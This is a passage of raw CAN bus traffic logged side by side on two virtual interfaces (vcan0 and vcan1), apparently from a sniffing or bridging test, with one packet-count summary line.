32 │ vcan0 2F5 [8] C8 18 A1 1C BD DC 36 27 vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 │ vcan0 22F [0] vcan1 0E5 [4] ED 07 4E 3E │ vcan0 7EA [8] 21 84 B8 77 9E 52 A5 1C vcan1 09A [8] 80 38 95 56 B5 A5 29 36 │ vcan0 66B [0] vcan1 0ED [5] CA 57 84 61 77 │ vcan0 7C0 [5] 97 A0 AD 22 C7 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 4C1 [8] A3 56 7D 54 4F ED D5 43 vcan1 0A2 [2] 90 55 │ vcan0 243 [8] 6B 33 5A 09 3C D8 24 1B vcan1 0B4 [4] FB B2 96 32 │ vcan0 22F [0] vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 │ vcan0 7EA [8] 21 84 B8 77 9E 52 A5 1C vcan1 0E5 [4] ED 07 4E 3E │ vcan0 66B [0] vcan1 09A [8] 80 38 95 56 B5 A5 29 36 │ vcan0 7C0 [5] 97 A0 AD 22 C7 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 4C1 [8] A3 56 7D 54 4F ED D5 43 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 243 [8] 6B 33 5A 09 3C D8 24 1B vcan1 0A2 [2] 90 55 │ vcan0 753 [4] DF 0C F0 00 vcan1 0B4 [4] FB B2 96 32 │ vcan0 7EA [8] 21 84 B8 77 9E 52 A5 1C vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 │ vcan0 66B [0] vcan1 0E5 [4] ED 07 4E 3E │ vcan0 7C0 [5] 97 A0 AD 22 C7 vcan1 09A [8] 80 38 95 56 B5 A5 29 36 │ vcan0 4C1 [8] A3 56 7D 54 4F ED D5 43 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 243 [8] 6B 33 5A 09 3C D8 24 1B vcan1 0DF [5] 71 76 04 71 96 │ vcan0 753 [4] DF 0C F0 00 vcan1 0A2 [2] 90 55 │ vcan0 36C [8] 05 4F AB 02 9C 85 2E 72 <Sniffed: TCP:0 UDP:0 ICMP:0 Other:200> vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 36C [8] 05 4F AB 02 9C 85 2E 72 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 3B8 [8] 23 99 D9 35 A3 C3 9D 20 vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 │ vcan0 7C0 [5] 97 A0 AD 22 C7 vcan1 0E5 [4] ED 07 4E 3E │ vcan0 4C1 [8] A3 56 7D 54 4F ED D5 43 vcan1 09A [8] 80 38 95 56 B5 A5 29 36 │ vcan0 243 [8] 6B 33 5A 09 3C D8 24 1B vcan1 0ED [5] CA 57 84 61 77 │ vcan0 753 [4] DF 0C F0 00 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 36C [8] 05 4F AB 02 9C 85 2E 72 vcan1 0A2 [2] 90 55 │ vcan0 3B8 [8] 23 99 D9 35 A3 C3 9D 20 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 62D [4] 41 16 43 3D vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 │ vcan0 4C1 [8] A3 56 7D 54 4F ED D5 43 vcan1 0E5 [4] ED 07 4E 3E │ vcan0 243 [8] 6B 33 5A 09 3C D8 24 1B vcan1 09A [8] 80 38 95 56 B5 A5 29 36 │ vcan0 753 [4] DF 0C F0 00 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 36C [8] 05 4F AB 02 9C 85 2E 72 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 3B8 [8] 23 99 D9 35 A3 C3 9D 20 vcan1 0A2 [2] 90 55 │ vcan0 62D [4] 41 16 43 3D vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 335 [8] 62 0D DF 2B F5 B2 70 3E vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 │ vcan0 243 [8] 6B 33 5A 09 3C D8 24 1B vcan1 0E5 [4] ED 07 4E 3E │ vcan0 753 [4] DF 0C F0 00 vcan1 09A [8] 80 38 95 56 B5 A5 29 36 │ vcan0 36C [8] 05 4F AB 02 9C 85 2E 72 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 3B8 [8] 23 99 D9 35 A3 C3 9D 20 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 62D [4] 41 16 43 3D vcan1 0A2 [2] 90 55 │ vcan0 335 [8] 62 0D DF 2B F5 B2 70 3E vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 7CE [8] BC BB B4 23 8F 1C 92 3A vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 │ vcan0 753 [4] DF 0C F0 00 vcan1 0E5 [4] ED 07 4E 3E │ vcan0 36C [8] 05 4F AB 02 9C 85 2E 72 vcan1 09A [8] 80 38 95 56 B5 A5 29 36 │ vcan0 3B8 [8] 23 99 D9 35 A3 C3 9D 20 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 62D [4] 41 16 43 3D vcan1 0DF [5] 71 76 04 71 96 │ vcan0 335 [8] 62 0D DF 2B F5 B2 70 3E vcan1 0A2 [2] 90 55 │ vcan0 7CE [8] BC BB B4 23 8F 1C 92 3A vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 6E3 [8] DF 09 68 7E 26 81 B9 07 vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 │ vcan0 36C [8] 05 4F AB 02 9C 85 2E 72 vcan1 0E5 [4] ED 07 4E 3E │ vcan0 3B8 [8] 23 99 D9 35 A3 C3 9D 20 vcan1 09A [8] 80 38 95 56 B5 A5 29 36 │ vcan0 62D [4] 41 16 43 3D vcan1 0ED [5] CA 57 84 61 77 │ vcan0 335 [8] 62 0D DF 2B F5 B2 70 3E vcan1 0DF [5] 71 76 04 71 96 │ vcan0 7CE [8] BC BB B4 23 8F 1C 92 3A vcan1 0A2 [2] 90 55 │ vcan0 6E3 [8] DF 09 68 7E 26 81 B9 07 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 31A [8] 62 59 DE 22 6D 2A E9 2A vcan1 0C6 [8] A3 8B C8 1B 86 4D BE 12 │ vcan0 3B8 [8] 23 99 D9 35 A3 C3 9D 20 vcan1 0E5 [4] ED 07 4E 3E │ vcan0 62D [4] 41 16 43 3D vcan1 09A [8] 80 38 95 56 B5 A5 29 36 │ vcan0 335 [8] 62 0D DF 2B F5 B2 70 3E vcan1 0ED [5] CA 57 84 61 77 │ vcan0 7CE [8] BC BB B4 23 8F 1C 92 3A vcan1 0DF [5] 71 76 04 71 96 │ vcan0 6E3 [8] DF 09 68 7E 26 81 B9 07 vcan1 0A2 [2] 90 55 │ vcan0 31A [8] 62 59 DE 22 6D 2A E9 2A vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 0FF [2] B5 9C vcan1 0FF [2] B5 9C │ vcan0 0FF [2] B5 9C vcan1 0FF [2] B5 9C │ vcan0 3EA [8] 07 D2 A8 62 A2 E7 9D 6D vcan1 0E5 [4] ED 07 4E 3E │ vcan0 335 [8] 62 0D DF 2B F5 B2 70 3E vcan1 09A [8] 80 38 95 56 B5 A5 29 36 │ vcan0 7CE [8] BC BB B4 23 8F 1C 92 3A vcan1 0ED [5] CA 57 84 61 77 │ vcan0 6E3 [8] DF 09 68 7E 26 81 B9 07 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 31A [8] 62 59 DE 22 6D 2A E9 2A vcan1 0A2 [2] 90 55 │ vcan0 0FF [2] B5 9C vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 3EA [8] 07 D2 A8 62 A2 E7 9D 6D vcan1 0FF [2] B5 9C │ vcan0 019 [8] 45 AB 3B 0E 46 0E 15 4A vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 019 [8] 45 AB 3B 0E 46 0E 15 4A vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 06F [7] DF 32 5E 1C A4 23 23 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 06F [7] DF 32 5E 1C A4 23 23 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 320 [1] 9A vcan1 0ED [5] CA 57 84 61 77 │ vcan0 31A [8] 62 59 DE 22 6D 2A E9 2A vcan1 0DF [5] 71 76 04 71 96 │ vcan0 0FF [2] B5 9C vcan1 0A2 [2] 90 55 │ vcan0 3EA [8] 07 D2 A8 62 A2 E7 9D 6D vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 019 [8] 45 AB 3B 0E 46 0E 15 4A vcan1 0FF [2] B5 9C │ vcan0 06F [7] DF 32 5E 1C A4 23 23 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 320 [1] 9A vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 63B [6] 7E 37 D1 4C 1E 7D vcan1 0ED [5] CA 57 84 61 77 │ vcan0 0FF [2] B5 9C vcan1 0DF [5] 71 76 04 71 96 │ vcan0 3EA [8] 07 D2 A8 62 A2 E7 9D 6D vcan1 0A2 [2] 90 55 │ vcan0 019 [8] 45 AB 3B 0E 46 0E 15 4A vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 06F [7] DF 32 5E 1C A4 23 23 vcan1 0FF [2] B5 9C │ vcan0 320 [1] 9A vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 63B [6] 7E 37 D1 4C 1E 7D vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 4B6 [8] 44 FE 91 49 D0 9F 5B 02 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 3EA [8] 07 D2 A8 62 A2 E7 9D 6D vcan1 0DF [5] 71 76 04 71 96 │ vcan0 019 [8] 45 AB 3B 0E 46 0E 15 4A vcan1 0A2 [2] 90 55 │ vcan0 06F [7] DF 32 5E 1C A4 23 23 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 320 [1] 9A vcan1 0FF [2] B5 9C │ vcan0 63B [6] 7E 37 D1 4C 1E 7D vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 4B6 [8] 44 FE 91 49 D0 9F 5B 02 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 6A7 [6] 3D CA 44 2D A6 E7 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 019 [8] 45 AB 3B 0E 46 0E 15 4A vcan1 0DF [5] 71 76 04 71 96 │ vcan0 06F [7] DF 32 5E 1C A4 23 23 vcan1 0A2 [2] 90 55 │ vcan0 320 [1] 9A vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 63B [6] 7E 37 D1 4C 1E 7D vcan1 0FF [2] B5 9C │ vcan0 4B6 [8] 44 FE 91 49 D0 9F 5B 02 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 6A7 [6] 3D CA 44 2D A6 E7 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 5E8 [2] 12 34 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 06F [7] DF 32 5E 1C A4 23 23 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 320 [1] 9A vcan1 0A2 [2] 90 55 │ vcan0 63B [6] 7E 37 D1 4C 1E 7D vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 4B6 [8] 44 FE 91 49 D0 9F 5B 02 vcan1 0FF [2] B5 9C │ vcan0 6A7 [6] 3D CA 44 2D A6 E7 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 5E8 [2] 12 34 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 2AC [8] 75 31 3C 3F C5 FA 52 2D vcan1 0ED [5] CA 57 84 61 77 │ vcan0 320 [1] 9A vcan1 0DF [5] 71 76 04 71 96 │ vcan0 63B [6] 7E 37 D1 4C 1E 7D vcan1 0A2 [2] 90 55 │ vcan0 4B6 [8] 44 FE 91 49 D0 9F 5B 02 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 6A7 [6] 3D CA 44 2D A6 E7 vcan1 0FF [2] B5 9C │ vcan0 5E8 [2] 12 34 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 2AC [8] 75 31 3C 3F C5 FA 52 2D vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 144 [8] 0C 09 68 77 B4 F9 D1 3C vcan1 0ED [5] CA 57 84 61 77 │ vcan0 63B [6] 7E 37 D1 4C 1E 7D vcan1 0DF [5] 71 76 04 71 96 │ vcan0 4B6 [8] 44 FE 91 49 D0 9F 5B 02 vcan1 0A2 [2] 90 55 │ vcan0 6A7 [6] 3D CA 44 2D A6 E7 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 5E8 [2] 12 34 vcan1 0FF [2] B5 9C │ vcan0 2AC [8] 75 31 3C 3F C5 FA 52 2D vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 144 [8] 0C 09 68 77 B4 F9 D1 3C vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 641 [8] 58 1D F5 4F 61 99 6C 25 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 4B6 [8] 44 FE 91 49 D0 9F 5B 02 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 6A7 [6] 3D CA 44 2D A6 E7 vcan1 0A2 [2] 90 55 │ vcan0 5E8 [2] 12 34 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 2AC [8] 75 31 3C 3F C5 FA 52 2D vcan1 0FF [2] B5 9C │ vcan0 144 [8] 0C 09 68 77 B4 F9 D1 3C vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 641 [8] 58 1D F5 4F 61 99 6C 25 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 42D [2] 50 B4 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 6A7 [6] 3D CA 44 2D A6 E7 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 5E8 [2] 12 34 vcan1 0A2 [2] 90 55 │ vcan0 2AC [8] 75 31 3C 3F C5 FA 52 2D vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 144 [8] 0C 09 68 77 B4 F9 D1 3C vcan1 0FF [2] B5 9C │ vcan0 641 [8] 58 1D F5 4F 61 99 6C 25 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 42D [2] 50 B4 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 649 [8] 86 E7 A5 34 FF 2A 4C 04 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 5E8 [2] 12 34 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 2AC [8] 75 31 3C 3F C5 FA 52 2D vcan1 0A2 [2] 90 55 │ vcan0 144 [8] 0C 09 68 77 B4 F9 D1 3C vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 641 [8] 58 1D F5 4F 61 99 6C 25 vcan1 0FF [2] B5 9C │ vcan0 42D [2] 50 B4 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 649 [8] 86 E7 A5 34 FF 2A 4C 04 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 52B [8] CF CA A7 06 D2 AB B1 22 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 2AC [8] 75 31 3C 3F C5 FA 52 2D vcan1 0DF [5] 71 76 04 71 96 │ vcan0 144 [8] 0C 09 68 77 B4 F9 D1 3C vcan1 0A2 [2] 90 55 │ vcan0 641 [8] 58 1D F5 4F 61 99 6C 25 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 42D [2] 50 B4 vcan1 0FF [2] B5 9C │ vcan0 649 [8] 86 E7 A5 34 FF 2A 4C 04 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 52B [8] CF CA A7 06 D2 AB B1 22 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 570 [8] 79 93 C9 2D 59 FB E6 7A vcan1 0ED [5] CA 57 84 61 77 │ vcan0 144 [8] 0C 09 68 77 B4 F9 D1 3C vcan1 0DF [5] 71 76 04 71 96 │ vcan0 641 [8] 58 1D F5 4F 61 99 6C 25 vcan1 0A2 [2] 90 55 │ vcan0 42D [2] 50 B4 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 649 [8] 86 E7 A5 34 FF 2A 4C 04 vcan1 0FF [2] B5 9C │ vcan0 52B [8] CF CA A7 06 D2 AB B1 22 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 570 [8] 79 93 C9 2D 59 FB E6 7A vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 3FE [8] 2B 45 85 4C AA 4E 3A 24 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 641 [8] 58 1D F5 4F 61 99 6C 25 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 42D [2] 50 B4 vcan1 0A2 [2] 90 55 │ vcan0 649 [8] 86 E7 A5 34 FF 2A 4C 04 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 52B [8] CF CA A7 06 D2 AB B1 22 vcan1 0FF [2] B5 9C │ vcan0 570 [8] 79 93 C9 2D 59 FB E6 7A vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 3FE [8] 2B 45 85 4C AA 4E 3A 24 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 5A4 [0] vcan1 0ED [5] CA 57 84 61 77 │ vcan0 42D [2] 50 B4 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 649 [8] 86 E7 A5 34 FF 2A 4C 04 vcan1 0A2 [2] 90 55 │ vcan0 52B [8] CF CA A7 06 D2 AB B1 22 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 570 [8] 79 93 C9 2D 59 FB E6 7A vcan1 0FF [2] B5 9C │ vcan0 3FE [8] 2B 45 85 4C AA 4E 3A 24 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 5A4 [0] vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 35B [8] 9D 38 26 3B 9C F1 2F 72 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 649 [8] 86 E7 A5 34 FF 2A 4C 04 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 52B [8] CF CA A7 06 D2 AB B1 22 vcan1 0A2 [2] 90 55 │ vcan0 570 [8] 79 93 C9 2D 59 FB E6 7A vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 3FE [8] 2B 45 85 4C AA 4E 3A 24 vcan1 0FF [2] B5 9C │ vcan0 5A4 [0] vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 35B [8] 9D 38 26 3B 9C F1 2F 72 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 667 [5] FE 8A 9C 17 94 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 52B [8] CF CA A7 06 D2 AB B1 22 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 570 [8] 79 93 C9 2D 59 FB E6 7A vcan1 0A2 [2] 90 55 │ vcan0 3FE [8] 2B 45 85 4C AA 4E 3A 24 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 5A4 [0] vcan1 0FF [2] B5 9C │ vcan0 35B [8] 9D 38 26 3B 9C F1 2F 72 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 667 [5] FE 8A 9C 17 94 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 1E8 [8] FC 74 8C 2B 31 D0 75 43 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 570 [8] 79 93 C9 2D 59 FB E6 7A vcan1 0DF [5] 71 76 04 71 96 │ vcan0 3FE [8] 2B 45 85 4C AA 4E 3A 24 vcan1 0A2 [2] 90 55 │ vcan0 5A4 [0] vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 35B [8] 9D 38 26 3B 9C F1 2F 72 vcan1 0FF [2] B5 9C │ vcan0 667 [5] FE 8A 9C 17 94 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 1E8 [8] FC 74 8C 2B 31 D0 75 43 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 31C [2] 30 FB vcan1 0ED [5] CA 57 84 61 77 │ vcan0 3FE [8] 2B 45 85 4C AA 4E 3A 24 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 5A4 [0] vcan1 0A2 [2] 90 55 │ vcan0 35B [8] 9D 38 26 3B 9C F1 2F 72 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 667 [5] FE 8A 9C 17 94 vcan1 0FF [2] B5 9C │ vcan0 1E8 [8] FC 74 8C 2B 31 D0 75 43 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 31C [2] 30 FB vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 24C [8] 19 04 2D 46 BD 7F 12 49 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 5A4 [0] vcan1 0DF [5] 71 76 04 71 96 │ vcan0 35B [8] 9D 38 26 3B 9C F1 2F 72 vcan1 0A2 [2] 90 55 │ vcan0 667 [5] FE 8A 9C 17 94 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 1E8 [8] FC 74 8C 2B 31 D0 75 43 vcan1 0FF [2] B5 9C │ vcan0 31C [2] 30 FB vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 24C [8] 19 04 2D 46 BD 7F 12 49 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 30B [2] 16 7B vcan1 0ED [5] CA 57 84 61 77 │ vcan0 35B [8] 9D 38 26 3B 9C F1 2F 72 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 667 [5] FE 8A 9C 17 94 vcan1 0A2 [2] 90 55 │ vcan0 1E8 [8] FC 74 8C 2B 31 D0 75 43 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 31C [2] 30 FB vcan1 0FF [2] B5 9C │ vcan0 24C [8] 19 04 2D 46 BD 7F 12 49 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 30B [2] 16 7B vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 71D [1] B3 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 667 [5] FE 8A 9C 17 94 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 1E8 [8] FC 74 8C 2B 31 D0 75 43 vcan1 0A2 [2] 90 55 │ vcan0 31C [2] 30 FB vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 24C [8] 19 04 2D 46 BD 7F 12 49 vcan1 0FF [2] B5 9C │ vcan0 30B [2] 16 7B vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 71D [1] B3 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 6E2 [3] AB 6B 3D vcan1 0ED [5] CA 57 84 61 77 │ vcan0 1E8 [8] FC 74 8C 2B 31 D0 75 43 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 31C [2] 30 FB vcan1 0A2 [2] 90 55 │ vcan0 24C [8] 19 04 2D 46 BD 7F 12 49 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 30B [2] 16 7B vcan1 0FF [2] B5 9C │ vcan0 71D [1] B3 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 6E2 [3] AB 6B 3D vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 19F [8] D9 7B A9 67 07 D0 5D 05 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 31C [2] 30 FB vcan1 0DF [5] 71 76 04 71 96 │ vcan0 24C [8] 19 04 2D 46 BD 7F 12 49 vcan1 0A2 [2] 90 55 │ vcan0 30B [2] 16 7B vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 71D [1] B3 vcan1 0FF [2] B5 9C │ vcan0 6E2 [3] AB 6B 3D vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 19F [8] D9 7B A9 67 07 D0 5D 05 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 23D [7] 9B DA 1C 3E 25 44 23 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 24C [8] 19 04 2D 46 BD 7F 12 49 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 30B [2] 16 7B vcan1 0A2 [2] 90 55 │ vcan0 71D [1] B3 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 6E2 [3] AB 6B 3D vcan1 0FF [2] B5 9C │ vcan0 19F [8] D9 7B A9 67 07 D0 5D 05 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 23D [7] 9B DA 1C 3E 25 44 23 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 625 [8] 56 14 99 59 41 71 53 22 │ vcan0 41A [6] 88 C9 CE 45 67 EE vcan1 0ED [5] CA 57 84 61 77 │ vcan0 30B [2] 16 7B vcan1 0DF [5] 71 76 04 71 96 │ vcan0 71D [1] B3 vcan1 0A2 [2] 90 55 │ vcan0 6E2 [3] AB 6B 3D vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 19F [8] D9 7B A9 67 07 D0 5D 05 vcan1 0FF [2] B5 9C │ vcan0 23D [7] 9B DA 1C 3E 25 44 23 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 625 [8] 56 14 99 59 41 71 53 22 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 41A [6] 88 C9 CE 45 67 EE vcan1 0ED [5] CA 57 84 61 77 │ vcan0 71D [1] B3 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 6E2 [3] AB 6B 3D vcan1 0A2 [2] 90 55 │ vcan0 19F [8] D9 7B A9 67 07 D0 5D 05 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 23D [7] 9B DA 1C 3E 25 44 23 vcan1 0FF [2] B5 9C │ vcan0 625 [8] 56 14 99 59 41 71 53 22 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 41A [6] 88 C9 CE 45 67 EE vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 585 [2] 24 6E vcan1 0ED [5] CA 57 84 61 77 │ vcan0 6E2 [3] AB 6B 3D vcan1 0DF [5] 71 76 04 71 96 │ vcan0 19F [8] D9 7B A9 67 07 D0 5D 05 vcan1 0A2 [2] 90 55 │ vcan0 23D [7] 9B DA 1C 3E 25 44 23 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 625 [8] 56 14 99 59 41 71 53 22 vcan1 0FF [2] B5 9C │ vcan0 41A [6] 88 C9 CE 45 67 EE vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 585 [2] 24 6E vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 534 [8] 99 87 00 5C 52 C4 44 1D vcan1 0ED [5] CA 57 84 61 77 │ vcan0 19F [8] D9 7B A9 67 07 D0 5D 05 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 23D [7] 9B DA 1C 3E 25 44 23 vcan1 0A2 [2] 90 55 │ vcan0 625 [8] 56 14 99 59 41 71 53 22 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 41A [6] 88 C9 CE 45 67 EE vcan1 0FF [2] B5 9C │ vcan0 585 [2] 24 6E vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 534 [8] 99 87 00 5C 52 C4 44 1D vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 17B [8] 14 F1 2D 42 5D E0 10 62 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 23D [7] 9B DA 1C 3E 25 44 23 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 625 [8] 56 14 99 59 41 71 53 22 vcan1 0A2 [2] 90 55 │ vcan0 41A [6] 88 C9 CE 45 67 EE vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 585 [2] 24 6E vcan1 0FF [2] B5 9C │ vcan0 534 [8] 99 87 00 5C 52 C4 44 1D vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 17B [8] 14 F1 2D 42 5D E0 10 62 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 470 [8] 9A 6A 8A 57 10 5E 6F 72 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 625 [8] 56 14 99 59 41 71 53 22 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 41A [6] 88 C9 CE 45 67 EE vcan1 0A2 [2] 90 55 │ vcan0 585 [2] 24 6E vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 534 [8] 99 87 00 5C 52 C4 44 1D vcan1 0FF [2] B5 9C │ vcan0 17B [8] 14 F1 2D 42 5D E0 10 62 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 470 [8] 9A 6A 8A 57 10 5E 6F 72 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 107 [4] 17 2E CD 77 vcan1 0ED [5] CA 57 84 61 77 │ vcan0 41A [6] 88 C9 CE 45 67 EE vcan1 0DF [5] 71 76 04 71 96 │ vcan0 585 [2] 24 6E vcan1 0A2 [2] 90 55 │ vcan0 534 [8] 99 87 00 5C 52 C4 44 1D vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 17B [8] 14 F1 2D 42 5D E0 10 62 vcan1 0FF [2] B5 9C │ vcan0 470 [8] 9A 6A 8A 57 